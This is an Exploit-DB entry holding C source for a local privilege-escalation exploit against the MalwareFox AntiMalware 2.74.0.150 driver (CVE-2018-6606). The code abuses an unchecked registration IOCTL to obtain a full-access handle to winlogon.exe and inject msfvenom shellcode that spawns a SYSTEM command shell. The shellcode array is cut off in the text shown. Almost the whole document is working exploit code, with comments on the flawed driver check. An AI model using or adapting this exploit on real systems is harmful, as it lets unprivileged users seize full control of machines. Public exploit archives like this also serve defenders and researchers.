Exploit-DB #43987
Description: MalwareFox AntiMalware 2.74.0.150 - Privilege Escalation
Type: local
Platform: windows
Date: 2018-02-07
Author: Souhail Hammou

Exploit:
/*
Title: MalwareFox AntiMalware 2.74.0.150 - Local Privilege Escalation
Date: 03/02/2018
Author: Souhail Hammou
Vendor Homepage: https://www.malwarefox.com/
Version: 2.74.0.150
Tested on: Windows 7 32-bit / Windows 10 64-bit
CVE: CVE-2018-6606
*/
#include <Windows.h>
#include <TlHelp32.h>
#include <stdio.h>


BOOL RegisterProcessByIOCTL(HANDLE hDevice)
{
	DWORD pid, BytesReturned;
	
	/*
	IOCTL 0x80002010 registers a process, by its PID, as trusted by the driver. Registered
	processes can send special IOCTLs to the driver to do stuff like:
		- Enable/Disable real-time protection
		- Write to raw disk
		- Open full access handles to processes
		- ...etc
	
	When a process sends a special IOCTL, the driver checks if that process is registered (as 
	shown in the disassembly below at address [PII_REDACTED]).
	However, when a process sends the IOCTL 0x80002010 to register a process by its PID, the driver
	doesn't check to see if the requestor itself is registered ([PII_REDACTED]).
	That way, any process can register any other process (including itself) with the driver.

	.text:[PII_REDACTED]01054A                 mov     ebx, [rcx+_IO_STACK_LOCATION.Parameters.DeviceIoControl.IoControlCode]
	.text:[PII_REDACTED]01054D                 cmp     ebx, 80002010h
	.text:[PII_REDACTED]                 jz      short find_ioctl_dispatcher ;jump past the check
	
	[......]

	.text:[PII_REDACTED]                 mov     edx, 1
	.text:[PII_REDACTED]                 mov     ecx, ebp ; Requestor_PID
	.text:[PII_REDACTED]01057A                 call    IsProcessRegistered
	.text:[PII_REDACTED]01057F                 lea     rdx, aMain_c
	.text:[PII_REDACTED]                 test    eax, eax
	.text:[PII_REDACTED]                 jnz     short loc_1400105C2
	.text:[PII_REDACTED]01058A                 mov     [rsp+68h+var_38], ebp
	.text:[PII_REDACTED]01058E                 lea     rax, aProcessidDIsNo
	.text:[PII_REDACTED]                 mov     edi, STATUS_ACCESS_DENIED

	[......]

	.text:[PII_REDACTED]0105C8 find_ioctl_dispatcher:                  ; CODE XREF: sub_1400104BC+97j
	.text:[PII_REDACTED]0105C8                                         ; sub_1400104BC+ACj

	[......]

	.text:[PII_REDACTED]                 cmp     ebx, 80002010h
	.text:[PII_REDACTED]                 jz      loc_1400106D7  ; dispatch the IOCTL
	*/

	pid = GetCurrentProcessId(); //Register our process with the driver
	if (!DeviceIoControl(hDevice, 0x80002010, &pid, sizeof(DWORD), NULL, 0, &BytesReturned, NULL))
	{
		return FALSE;
	}

	return TRUE;
}

DWORD GetWinlogonPID()
{
	DWORD WinlogonPid = 0;
	PROCESSENTRY32 ProcessEntry;
	ProcessEntry.dwSize = sizeof(PROCESSENTRY32);

	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hSnapshot == INVALID_HANDLE_VALUE)
	{
		printf("[-] CreateToolhelp32Snapshot failed !\n");
		goto ret;
	}

	if (!Process32First(hSnapshot, &ProcessEntry))
	{
		printf("[-] Process32First failed !\n");
		goto cleanup;
	}

	do
	{
		if (!lstrcmp(ProcessEntry.szExeFile, "winlogon.exe"))
		{
			WinlogonPid = ProcessEntry.th32ProcessID;
			break;
		}
	} while (Process32Next(hSnapshot, &ProcessEntry));

cleanup:
	CloseHandle(hSnapshot);
ret:
	return WinlogonPid;
}
int main(int argc, char** argv)
{
	DWORD BytesReturned;
	DWORD winlogon_pid;
	HANDLE winlogon_handle;
	LPVOID RemoteAllocation;
	HANDLE hDevice;

	printf("===      MalwareFox Anti-Malware 2.74.0.150 zam64.sys Local Privilege Escalation      ===\n");
	printf("                              Tested on Windows 10 64-bit                                \n");
	printf("                                   Souhail Hammou                                      \n\n");
	printf("[*] Stage 1: Registering the process with the driver by sending IOCTL 0x80002010\n");

	hDevice = CreateFile
		("\\\\.\\ZemanaAntiMalware",
			GENERIC_READ | GENERIC_WRITE,
			0,
			NULL,
			OPEN_EXISTING,
			FILE_ATTRIBUTE_NORMAL,
			NULL
			);
	if (hDevice == INVALID_HANDLE_VALUE)
	{
		return 0;
	}


	if (!RegisterProcessByIOCTL(hDevice))
	{
		printf("\t[-] Registration Failed !\n");
		return 0;
	}

	printf("\t[+] Process registered.\n[*] Stage 2: \n");

	printf("\t[+] Getting Winlogon's PID\n");
	winlogon_pid = GetWinlogonPID();

	if (!winlogon_pid)
	{
		printf("\t[-] GetWinlogonPID() failed !\n");
		return 0;
	}

	printf("\t[+] (IOCTL) Opening a full access, user-mode accessible handle from kernel-mode to winlogon\n");

	/*
	The dispatcher for IOCTL code 0x8000204C opens a full access handle, accessible from usermode, to a process.
	We use this IOCTL to open a full access handle to winlogon.exe.
	Note that this IOCTL can only be sent if the process is registered with the driver.
	*/
	if (!DeviceIoControl(hDevice, 0x8000204C, &winlogon_pid, sizeof(DWORD), &winlogon_handle, sizeof(HANDLE), &BytesReturned, NULL))
	{
		printf("\t[-] DeviceIoControl 0x8000204C failed !\n");
		return 0;
	}

	printf("\t[+] Allocating executable memory in winlogon.exe using the full access handle\n");

	if (!(RemoteAllocation = VirtualAllocEx(winlogon_handle, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE)))
	{
		printf("\t[-] VirtualAllocEx failed !\n");
		return 0;
	}

	printf("\t[+] Writing shellcode to allocated memory\n");

	/*msfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=thread -f c*/
	unsigned char buf[] =
		"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
		"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
		"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
		"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
		"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
		"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
		"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
		"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
		"\x01\xd6\x4d\x31\xc9\x48\x